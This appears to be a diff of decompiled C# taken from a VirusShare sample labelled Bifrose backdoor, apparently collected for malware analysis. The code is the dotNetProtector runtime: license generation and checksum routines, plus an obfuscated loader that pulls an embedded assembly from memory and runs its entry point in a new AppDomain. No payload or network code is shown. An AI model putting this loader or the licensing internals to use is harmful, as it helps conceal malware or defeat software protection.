if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
{
sbyte* numPtr;
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) numPtr;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration)
{
sbyte* config;
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
IntPtr pAssemblyFile)
{
sbyte* config;
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe IntPtr GetConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
AssemblyName Name)
{
string name = Name.Name;
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
sbyte* config;
int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
gcHandle.Free();
if (num2 == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) config;
}
public virtual unsafe string GetThumbPrint(Assembly pReserved)
{
\u0081Ï ï;
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
StringBuilder stringBuilder = new StringBuilder();
int num = 0;
do
{
// ISSUE: cast to a reference type
// ISSUE: explicit reference operation
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
++num;
}
while (num < 20);
return stringBuilder.ToString();
}
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
{
uint length;
byte* numPtr;
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
byte[] destination = new byte[(int) length];
IntPtr num = (IntPtr) (void*) numPtr;
Marshal.Copy(num, destination, 0, (int) length);
Marshal.FreeCoTaskMem(num);
return destination;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity)
{
sbyte* usbConfig;
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity,
IntPtr pAssemblyFile)
{
sbyte* usbConfig;
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GetUsbConfig(
Assembly pReserved,
uint LicenseID,
ushort ActivationDuration,
ulong UsbHash,
ulong UsbIdentity,
AssemblyName Name)
{
string name = Name.Name;
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
sbyte* usbConfig;
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
gcHandle.Free();
if (num2 == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbConfig;
}
public virtual unsafe IntPtr GenerateLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq)
{
sbyte* license;
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) license;
}
public virtual unsafe IntPtr GenerateLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq,
int tolerance,
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
long RuntimeLicensesLimit)
{
sbyte* license;
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) license;
}
public virtual unsafe IntPtr GenerateUsbLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq)
{
sbyte* usbLicense;
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbLicense;
}
public virtual unsafe IntPtr GenerateUsbLicense(
Assembly pReserved,
IntPtr pKeys,
IntPtr preq,
int tolerance,
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
long RuntimeLicensesLimit)
{
sbyte* usbLicense;
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return (IntPtr) (void*) usbLicense;
}
public virtual unsafe Assembly ResolveAssembly(string Name)
{
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
try
{
AssemblyName assemblyName = new AssemblyName(Name);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
uint exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num2 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
return (Assembly) null;
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num2 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
if (num2 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num2);
}
}
byte[] bytes = Encoding.UTF8.GetBytes(Name);
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
if (index >= 0)
{
Assembly[] ò = this.ò;
if (index < ò.Length)
{
if ((object) ò[index] == null)
this.ò[index] = this.\u0081â(num3);
gcHandle.Free();
return this.ò[index];
}
}
gcHandle.Free();
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
}
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
{
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
int length1 = Marshal.ReadInt32(ptr);
IntPtr source = (IntPtr) (void*) (numPtr + 4);
byte[] rawAssembly = new byte[length1];
byte[] destination = rawAssembly;
int length2 = length1;
Marshal.Copy(source, destination, 0, length2);
Assembly embLockAssembly = Assembly.Load(rawAssembly);
Marshal.FreeCoTaskMem(ptr);
return embLockAssembly;
}
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
{
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
Marshal.FreeCoTaskMem(ptr);
Assembly lockAssemblyName = (Assembly) null;
try
{
lockAssemblyName = Assembly.Load(stringAnsi);
}
catch (Exception ex)
{
}
return lockAssemblyName;
}
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
{
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
if ((IntPtr) ptr1 == IntPtr.Zero)
return (ArrayList) null;
IntPtr ptr2 = (IntPtr) (void*) ptr1;
ArrayList assemblyServices = new ArrayList();
if (*ptr1 != (byte) 0)
{
do
{
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
assemblyServices.Add((object) stringAnsi);
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
}
while (*ptr1 != (byte) 0);
}
Marshal.FreeCoTaskMem(ptr2);
return assemblyServices;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
{
int num;
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
[return: MarshalAs(UnmanagedType.U1)]
public virtual unsafe bool IsDemo(Assembly pReserved)
{
int num;
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
return num != 0;
}
public virtual unsafe int DaysLeft(Assembly pReserved)
{
int num;
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
}
public virtual unsafe int MinutesLeft(Assembly pReserved)
{
int num;
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
}
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
public virtual void UnloadAppdomain(AppDomain domain)
{
int id = domain.Id;
AppDomain.Unload(domain);
\u0082\u00BB.\u0095(id);
}
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
{
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
gcHandle.Free();
return num2;
}
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
{
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
gcHandle1.Free();
gcHandle2.Free();
gcHandle3.Free();
}
}
}
@@ -0,0 +1,10 @@
// Decompiled with JetBrains decompiler
// Type: <dotNetProtector>
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
public class \u003CdotNetProtector\u003E
{
internal static readonly long _Reserved;
}
@@ -0,0 +1,281 @@
// Decompiled with JetBrains decompiler
// Type: é.Ù
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using \u0081é;
using \u0082\u00BC;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0081é
{
[Serializable]
internal class \u0081Ù
{
private IntPtr \u0082\u00B0;
private IntPtr á;
private int Þ;
private Assembly Û;
private unsafe Assembly \u00F7()
{
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
int length1 = Marshal.ReadInt32(ptr);
IntPtr source = (IntPtr) (void*) (numPtr + 4);
byte[] rawAssembly = new byte[length1];
byte[] destination = rawAssembly;
int length2 = length1;
Marshal.Copy(source, destination, 0, length2);
Assembly assembly = Assembly.Load(rawAssembly);
Marshal.FreeCoTaskMem(ptr);
return assembly;
}
private unsafe Assembly \u0089()
{
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
if ((IntPtr) numPtr == IntPtr.Zero)
return (Assembly) null;
IntPtr ptr = (IntPtr) (void*) numPtr;
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
Marshal.FreeCoTaskMem(ptr);
Assembly assembly = (Assembly) null;
try
{
assembly = Assembly.Load(stringAnsi);
}
catch (Exception ex)
{
}
return assembly;
}
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
{
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
int num2 = 0;
\u0081Ù ù = new \u0081Ù();
ù.Û = _param0;
ù.\u0082\u00B0 = hinstance;
ù.Þ = _param1;
IntPtr num3 = (IntPtr) (void*) &num2;
ù.á = num3;
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
int id = domain.Id;
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
domain.DoCallBack(callBackDelegate);
try
{
AppDomain.Unload(domain);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
uint exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num4 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num4 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
goto label_10;
if (num4 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num4);
}
}
label_10:
\u0082\u00BB.ù();
\u0082\u00BB.\u0095(id);
return num2;
}
public unsafe void í()
{
FieldInfo fieldInfo = (FieldInfo) null;
// ISSUE: untyped stack allocation
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
Assembly entryAssembly = Assembly.GetEntryAssembly();
uint exceptionCode;
if ((object) entryAssembly == null)
{
\u0081ê.\u0081\u0099 = this.Û;
try
{
fieldInfo = (FieldInfo) null;
AppDomain currentDomain = AppDomain.CurrentDomain;
AppDomainManager appDomainManager = currentDomain.DomainManager;
if (appDomainManager == null)
{
appDomainManager = new AppDomainManager();
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
}
typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
}
catch (Exception ex1) when (
{
// ISSUE: unable to correctly present filter
exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num2 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex2) when (
{
// ISSUE: unable to correctly present filter
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num2 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
goto label_18;
if (num2 != 0U)
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num2);
}
}
}
else
\u0081ê.\u0081\u0099 = entryAssembly;
label_18:
Assembly assembly = (Assembly) null;
switch (this.Þ & 805306368)
{
case 536870912:
assembly = this.\u0089();
break;
case 805306368:
assembly = this.\u00F7();
break;
}
if ((object) assembly == null)
return;
MethodInfo entryPoint = assembly.EntryPoint;
if ((object) entryPoint == null)
return;
object[] parameters = new object[0];
if (entryPoint.GetParameters().Length != 0)
{
string[] commandLineArgs = Environment.GetCommandLineArgs();
string[] destinationArray = new string[commandLineArgs.Length - 1];
int length = destinationArray.Length;
if (length != 0)
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
parameters = new object[1]
{
(object) destinationArray
};
}
object obj = entryPoint.Invoke((object) null, parameters);
if (obj == null)
return;
try
{
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
}
catch (Exception ex3) when (
{
// ISSUE: unable to correctly present filter
exceptionCode = (uint) Marshal.GetExceptionCode();
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
uint num3 = 0;
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
try
{
try
{
}
catch (Exception ex4) when (
{
// ISSUE: unable to correctly present filter
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
if (num3 != 0U)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
}
return;
if (num3 == 0U)
return;
throw;
}
finally
{
\u0082\u00BB.ã((void*) num1, (int) num3);
}
}
}
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
}
}
@@ -0,0 +1,81 @@
// Decompiled with JetBrains decompiler
// Type: é.Þ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using \u0081é;
using \u0082\u00BC;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
namespace \u0081é
{
[Serializable]
internal class \u0081Þ
{
private IntPtr þ;
private int \u0092;
[NonSerialized]
private AppDomain ú;
public \u0081Þ(AppDomain domain, int domainId)
{
this.\u0092 = domainId;
this.ú = domain;
this.þ = IntPtr.Zero;
}
public void \u0081ý()
{
if (this.ú == null)
return;
try
{
for (int index = 0; index < 10; ++index)
{
try
{
string friendlyName = this.ú.FriendlyName;
Thread.Sleep(50);
}
catch (AppDomainUnloadedException ex)
{
break;
}
}
}
finally
{
\u0082\u00BB.\u0095(this.\u0092);
}
}
public static AppDomain \u0081\u008D()
{
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
}
public void \u009C()
{
Marshal.GetObjectForIUnknown(this.þ);
Marshal.Release(this.þ);
this.þ = IntPtr.Zero;
new Thread(new ThreadStart(this.\u0081ý)).Start();
}
public void \u0081\u0084(object _param1, EventArgs _param2)
{
AppDomain appDomain = \u0081Þ.\u0081\u008D();
if (appDomain == null)
return;
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
this.ú = (AppDomain) null;
appDomain.DoCallBack(callBackDelegate);
}
}
}
@@ -0,0 +1,15 @@
// Decompiled with JetBrains decompiler
// Type: é.ê
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using System.Reflection;
namespace \u0081é
{
internal class \u0081ê
{
internal static Assembly \u0081\u0099 = (Assembly) null;
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.î
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 32)]
internal struct \u0081î
{
}
}
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.Ä
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[NativeCppClass]
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[StructLayout(LayoutKind.Sequential, Size = 28)]
internal struct Ä
{
}
}
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: ‚¼.$
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
using Microsoft.VisualC;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0082\u00BC
{
[DebugInfoInPDB]
[MiscellaneousBits(65)]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 216)]
internal struct \u0081\u0024
{
[MiscellaneousBits(65)]
[DebugInfoInPDB]
[NativeCppClass]
[StructLayout(LayoutKind.Sequential, Size = 16)]
internal struct \u0081ö
{
}
}
}

Some files were not shown because too many files have changed in this diff Show More